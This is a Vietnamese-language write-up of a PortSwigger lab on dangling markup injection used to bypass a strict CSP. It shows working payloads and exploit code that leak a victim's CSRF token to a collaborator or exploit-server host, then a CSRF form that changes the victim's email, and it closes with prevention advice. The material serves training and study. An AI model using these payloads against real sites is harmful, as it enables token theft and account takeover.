What is Dangling Markup Injection?
Dangling Markup Injection là một kỹ thuật dùng để capture dữ liệu cross-domain khi không thể thực hiện được một XSS attack đầy đủ.
Giả sử ứng dụng chèn user input vào response như sau:
<input type="text" name="input" value="CONTROLLABLE DATA HERE
Attacker có thể dễ dàng đóng thẻ <input>
bằng cách sử dụng chuỗi ">
. Tuy nhiên, ứng dụng có thể sử dụng filter, CSP hoặc các biện pháp phòng chống khác. Trong trường hợp này, ta có thể sử dụng một payload như sau:
"><img src='//attacker-website.com?
Có thể thấy, giá trị của thuộc tính src
không được đóng lại. Khi trình duyệt parse response, nó sẽ tìm tiếp trong mã nguồn trang đến khi nào gặp ký tự '
. Các ký tự bên trong hai dấu nháy đơn sẽ được xem là giá trị của thuộc tính src
và sẽ được gửi đến domain của attacker. Các ký tự không phải chữ và số sẽ được URL-encode.
Kỹ thuật này có thể giúp kẻ tấn công capture được một phần response sau injection point mà có thể chứa dữ liệu nhạy cảm chẳng hạn như CSRF token, email, …
Bất kỳ thuộc tính nào có thể tạo ra external request đều có thể bị khai thác.
Lab: Reflected XSS Protected by Very Strict CSP, with Dangling Markup Attack
Mô tả:
- Lab sử dụng CSP để chặn các request đến các web site bên ngoài.
- Mục tiêu là thực hiện XSS để bypass CSP và gửi CSRF token đến Burp Collaborator rồi đổi email thành
hacker@evil-user.net
. - Cần phải sử dụng từ “Click” trong nội dung của payload để dụ nạn nhân click vào (lab này cần sự tương tác của nạn nhân). Ví dụ:
<a href="">Click me</a>
. - Tài khoản được cung cấp là:
wiener:peter
Request truy vấn đến endpoint /
có các header trong response như sau:
HTTP/2 200 OK
Content-Type: text/html; charset=utf-8
Set-Cookie: session=vOl8XnVPyV0jnZDM6MWqgpvHbIoi9118; Secure; HttpOnly; SameSite=None
Content-Security-Policy: default-src 'self';object-src 'none'; style-src 'self'; script-src 'self'; img-src 'self'; base-uri 'none';
X-Frame-Options: SAMEORIGIN
Content-Length: 5800
Phân tích:
- Cookie
session
có attributeSameSite=None
: có thể thực thi CSRF attack. - Các policy của CSP rất nghiêm khắc (đa số là
self
). - Header
X-Frame-Options: SAMEORIGIN
: không thể nhúng thẻ<iframe>
.
Request thay đổi email có dạng như sau:
POST /my-account/change-email HTTP/2
Host: 0a3e00540309ae7387607a0c0090001e.web-security-academy.net
Cookie: session=hvp3qOakysh0N8kRSgb5FfOblXdJnWk8
Content-Length: 68
Cache-Control: max-age=0
Sec-Ch-Ua: "Microsoft Edge";v="123", "Not:A-Brand";v="8", "Chromium";v="123"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: https://0a3e00540309ae7387607a0c0090001e.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Edg/123.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0a3e00540309ae7387607a0c0090001e.web-security-academy.net/my-account?id=wiener
Accept-Encoding: gzip, deflate, br
Accept-Language: vi,en-US;q=0.9,en;q=0.8
email=wiener%40normal-user.net&csrf=1EsAkl1hr2GS9PFRSkBg5vUuSFd13Y0D
Sau khi thay đổi email thì CSRF token không đổi:
<form class="login-form" name="change-email-form" action="/my-account/change-email" method="POST">
<label>Email</label>
<input required type="email" name="email" value="">
<input required type="hidden" name="csrf" value="1EsAkl1hr2GS9PFRSkBg5vUuSFd13Y0D">
<button class='button' type='submit'> Update email </button>
</form>
Thử tạo CSRF payload rồi sử dụng exploit server thì có thể đổi được email. Cross-site request là:
POST /my-account/change-email HTTP/2
Host: 0a3e00540309ae7387607a0c0090001e.web-security-academy.net
Cookie: session=hvp3qOakysh0N8kRSgb5FfOblXdJnWk8
Content-Length: 66
Cache-Control: max-age=0
Sec-Ch-Ua: "Microsoft Edge";v="123", "Not:A-Brand";v="8", "Chromium";v="123"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: https://exploit-0a6c000503e2ae91873b7963012000d3.exploit-server.net
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Edg/123.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://exploit-0a6c000503e2ae91873b7963012000d3.exploit-server.net/
Accept-Encoding: gzip, deflate, br
Accept-Language: vi,en-US;q=0.9,en;q=0.8
email=hacker%40evil-user.net&csrf=1EsAkl1hr2GS9PFRSkBg5vUuSFd13Y0D
Có thể thấy, do SameSite=None
nên trình duyệt sẽ đính kèm cookie. Vấn đề duy nhất là CSRF token.
Thử đăng bình luận với nội dung là <script>console.log(1)</script>
và website là http://a.com"href="javascript:console.log(1))"x="
thì bình luận được render như sau:
<section class="comment">
<p>
<img src="/resources/images/avatarDefault.svg" class="avatar">
<a id="author" href="http://a.com"href="javascript:console.log(1))"x="">a</a> | 16 April 2024
</p>
<p><script>console.log(1)</script></p>
<p></p>
</section>
Có thể thấy, ký tự "
và ký tự đóng/mở tag đã bị encode.
Thử tất cả các ký tự: ! " # $ % & ' ( ) * + , - . / : ; < = > ? @ [ \ ] ^ _ { | } ~
và backtick. Kết quả:
<p>
! " # $ % & ' ( ) * + , - . / : ; < = > ? @ [ \\ ] ^ _ { | } ~
</p>
Caution
Do lab liên quan đến reflected XSS nên tính năng comment không phải là attack surface cần dùng. Cụ thể hơn, đề bài yêu cầu thay đổi email nên endpoint
/my-account
có thể là endpoint cần dùng.
Hint
Tồn tại một query param
/my-account
.
Dùng arjun
1 để brute force query param:
arjun -u https://0a2500da03fe327a80f00d1c009f00b2.web-security-academy.net/my-account -c 100 -w /usr/share/wordlists/seclists/Discovery/Web-Content/burp-parameter-names.txt --headers "Cookie: session=drS9LbDloWx5Ngg4fT9qAqw30UrKgkMn"
_
/_| _ '
( |/ /(//) v2.2.2
_/
[*] Probing the target for stability
[*] Analysing HTTP response for anomalies
[*] Analysing HTTP response for potential parameter names
[+] Heuristic scanner found 2 parameters: email, csrf
[*] Logicforcing the URL endpoint
[✓] parameter detected: email, based on: body length
[✓] parameter detected: id, based on: http code
[+] Parameters found: email, id
Giải thích các option:
-u
: chỉ định URL-c
: số param gửi cùng một lúc (chunk size).-w
: chỉ định wordlist.--headers
: thêm cookiesession
để các request không bị redirect về endpoint/login
.
Có thể thấy, ta tìm được thêm param email
. Thử gửi request với param này:
GET /my-account?email="> HTTP/2
Host: 0a2500da03fe327a80f00d1c009f00b2.web-security-academy.net
Cookie: session=drS9LbDloWx5Ngg4fT9qAqw30UrKgkMn
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Edg/123.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Sec-Ch-Ua: "Microsoft Edge";v="123", "Not:A-Brand";v="8", "Chromium";v="123"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Referer: https://0a2500da03fe327a80f00d1c009f00b2.web-security-academy.net/login
Accept-Encoding: gzip, deflate, br
Accept-Language: vi,en-US;q=0.9,en;q=0.8
Thử với payload ">
thì response là:
<form class="login-form" name="change-email-form" action="/my-account/change-email" method="POST">
<label>Email</label>
<input required type="email" name="email" value="">">
<input required type="hidden" name="csrf" value="mDX1UobMUmpHBHp9L9Xnb4dme02anRUQ">
<button class='button' type='submit'> Update email </button>
</form>
Có thể thấy, các ký tự truyền vào không bị filter và ta có thể đóng được attribute value
cũng như là thẻ <input>
.
Thử với payload "><script>alert(1)</script>
nhưng không thể thực thi script do có CSP.
Sử dụng dangling markup injection với domain lấy từ Burp Collaborator:
"><img src='https://BURP-COLLABORATOR-SUBDOMAIN.oastify.com?
Trình duyệt render payload như sau:
<img src="https://BURP-COLLABORATOR-SUBDOMAIN.oastify.com?">
<input required type="hidden" name="csrf" value="mDX1UobMUmpHBHp9L9Xnb4dme02anRUQ">
<button class=" button'="" type="submit">
Tuy nhiên, Collaborator không nhận được request do có CSP.
Payload trong đáp án:
"><a href='https://exploit-EXPLOIT-SERVER-ID.exploit-server.net/exploit'>Click me</a><base target='
Giải thích payload:
- Thẻ
<a>
vớihref
trỏ đến exploit server có nội dung là “Click me” để dụ nạn nhân click vào. Khi click vào thì sẽ quay lại exploit để gửi request đến Collaborator với dữ liệu capture được. - Thẻ
<base>
với thuộc tínhtarget
được dùng để chỉ định vị trí mở link mặc định cho các liên kết và form.- Nếu giá trị của
target
không thuộc_blank|_self|_parent|_top
thì nó sẽ mở cửa sổ mới2. - Giá trị của
target
có thể được truy xuất trong cửa sổ mới thông qua thuộc tínhwindow.name
. - Có thể thấy, attribute
target
không được đóng lại. Điều này giúp capture được CSRF token ở sau.
- Nếu giá trị của
Payload được render ra như sau:
<input required="" type="email" name="email" value="">
<a href="https://exploit-EXPLOIT-SERVER-ID.exploit-server.net/exploit">Click me</a>
<base target="">
<input required type="hidden" name="csrf" value="SDK5UQK7PKAtZF9M7faRJ01fB4zR8hze">
<button class=" button'="" type="submit">
Có thể thấy, ta đã capture được CSRF token ở trong thuộc tính target
của thẻ base
.
Xây dựng CSRF exploit để lấy CSRF token như sau:
<script>
if(window.name) {
new Image().src="https://BURP_COLLABORATOR_SUBDOMAIN.oastify.com?"+encodeURIComponent(window.name);
} else {
location = 'https://LAB_ID.web-security-academy.net/my-account?email="><a href="https://exploit-EXPLOIT_SERVER_ID.exploit-server.net/exploit">Click me</a><base target=%27'
}
</script>
Trình duyệt render thẻ <a>
và thẻ <base>
ra như sau:
<a href="https://exploit-0a09003004ee5c478060ac4b018f00b9.exploit-server.net/exploit">Click me</a><base target='">
<input required type="hidden" name="csrf" value="cDCHOytzBHYhLGsxvDILAEFZ1DA3ahY9">
<button class='button' type='submit'>
Sau khi click vào thẻ <a>
ở trên, trang web có mở cửa sổ mới nhưng giá trị window.name
là rỗng và do đó không có request gửi đến Collaborator.
Thử gán giá trị được capture được cho biến window.name
một cách thủ công:
window.name='">
<input required type="hidden" name="csrf" value="cDCHOytzBHYhLGsxvDILAEFZ1DA3ahY9">
<button class='
Console báo lỗi sau:
Uncaught SyntaxError: Invalid or unexpected token
Lý do lỗi là vì có các ký tự endline (\n
) tồn tại trong dữ liệu được capture. Không thể sử dụng backtick do không có dấu backtick nào trong đoạn HTML còn lại để đóng chuỗi.
Forum của PortSwigger có đoạn như sau:
Info
Chrome đã cập nhật để chống dangling markup injection ở commit
f96e7cfcff0c8a75b314b05382c53bbf92c0bf4e
: Carry over potentially dangling markup flag for scheme only replacements (3527120) · Gerrit Code Review (googlesource.com).Sự thay đổi này được áp dụng cho phiên bản 101.0.4951.41: Chromium Dash
Giải pháp: sử dụng Firefox hoặc Chrome phiên bản dưới 101.0.4951.41. Tìm được phiên bản 100 ở đây (tải file chrome-win.zip
).
Click vào “View exploit” thì có request sau gửi đến Collaborator:
GET /?%22%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3Cinput%20required%20type%3D%22hidden%22%20name%3D%22csrf%22%20value%3D%22cDCHOytzBHYhLGsxvDILAEFZ1DA3ahY9%22%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3Cbutton%20class%3D HTTP/1.1
Host: 4sx6z8qar8ooik8c4lcz1jhgy74ysygn.oastify.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.8,vi-VN;q=0.5,vi;q=0.3
Accept-Encoding: gzip, deflate, br
Dnt: 1
Referer: https://exploit-0aff00ed04bec619827f8389012a0029.exploit-server.net/
Sec-Fetch-Dest: image
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site
Sec-Gpc: 1
Te: trailers
Connection: close
CSRF token sau khi decode là cDCHOytzBHYhLGsxvDILAEFZ1DA3ahY9
.
Note
Chú ý: CSRF token này không phải của nạn nhân mà là của người dùng hiện tại đang đăng nhập (
wiener
). Chúng ta cần nhấn nút “Deliver exploit to victim” để chuyển giao exploit cho nạn nhân nhằm lấy CSRF token.
Tuy nhiên, vẫn không có request gửi đến Collaborator. Access log của exploit server:
1.53.27.96 2024-04-17 04:10:40 +0000 "GET /deliver-to-victim HTTP/1.1" 302 "user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.0 Safari/537.36"
10.0.3.70 2024-04-17 04:10:42 +0000 "GET /exploit/ HTTP/1.1" 200 "user-agent: Mozilla/5.0 (Victim) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36"
Có thể thấy, trình duyệt mà victim sử dụng là Chrome phiên bản 119. Đây chính là lý do khiến việc khai thác sử dụng exploit trên bị thất bại.
Tồn tại một cách giải khác ở bài tweet mà PortSwigger đề cập ở trên: Reflected XSS protected by very strict CSP, with dangling markup attack | The Cyber Bolg (skullhat.github.io).
Cách giải này đóng thẻ <form>
có sẵn và chèn vào một thẻ <form>
khác mà không có thẻ đóng. Thẻ <form>
có sẵn sẽ bị bỏ qua.
Minh họa:
Có thể thấy, thẻ <form>
mới có action
là exploit server (cũng có thể dùng Burp Collaborator). Ngoài ra, cũng cần phải tạo một nút bấm có nội dung là “Click me” theo yêu cầu đề bài.
Xây dựng payload như sau:
"></form><form class="login-form" name="evil-form" action="https://exploit-EXPLOIT_SERVER_ID.exploit-server.net/log"><button>Click me</button>
Lưu ý là ta cần phải đóng thẻ <form>
có sẵn.
Xây dựng exploit:
<script>
window.location = 'https://LAB_ID.web-security-academy.net/my-account?email="></form><form class="login-form" name="evil-form" action="https://exploit-EXPLOIT_SERVER_ID.exploit-server.net/log"><button>Click me</button>'
</script>
Chuyển giao exploit cho nạn nhân và kiểm tra access log của server thì thấy các request như sau:
1.53.27.96 2024-04-17 04:46:43 +0000 "GET /deliver-to-victim HTTP/1.1" 302 "user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.0 Safari/537.36"
10.0.3.70 2024-04-17 04:46:43 +0000 "GET /exploit/ HTTP/1.1" 200 "user-agent: Mozilla/5.0 (Victim) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36"
10.0.3.70 2024-04-17 04:46:44 +0000 "GET /log?csrf=C7o3F8hccmHpt6JcKQKpEYkMMm3KrgEm HTTP/1.1" 200 "user-agent: Mozilla/5.0 (Victim) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36"
Như vậy, ta đã thu được CSRF token.
Tạo CSRF exploit để đổi email:
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="https://0a0b002803ab46c886fbefa7000d0027.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="hacker@evil-user.net" />
<input type="hidden" name="csrf" value="C7o3F8hccmHpt6JcKQKpEYkMMm3KrgEm" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
Nhấn nút “Store” và chuyển giao cho nạn nhân.
How to Prevent Dangling Markup Attacks
Cơ chế phòng chống dangling markup injection tương tự như phòng chống XSS thông thường: validate input data và encode output data.
Cũng có thể sử dụng CSP chẳng hạn như ngăn chặn thẻ <img>
nạp hình ảnh từ các tài nguyên bên ngoài.
Related
list
from outgoing([[Port Swigger - Dangling Markup Injection]])
sort file.ctime asc
Resources
Footnotes
-
tham khảo Parameter Bruteforcing ↩
-
tham khảo HTML Standard (whatwg.org) ↩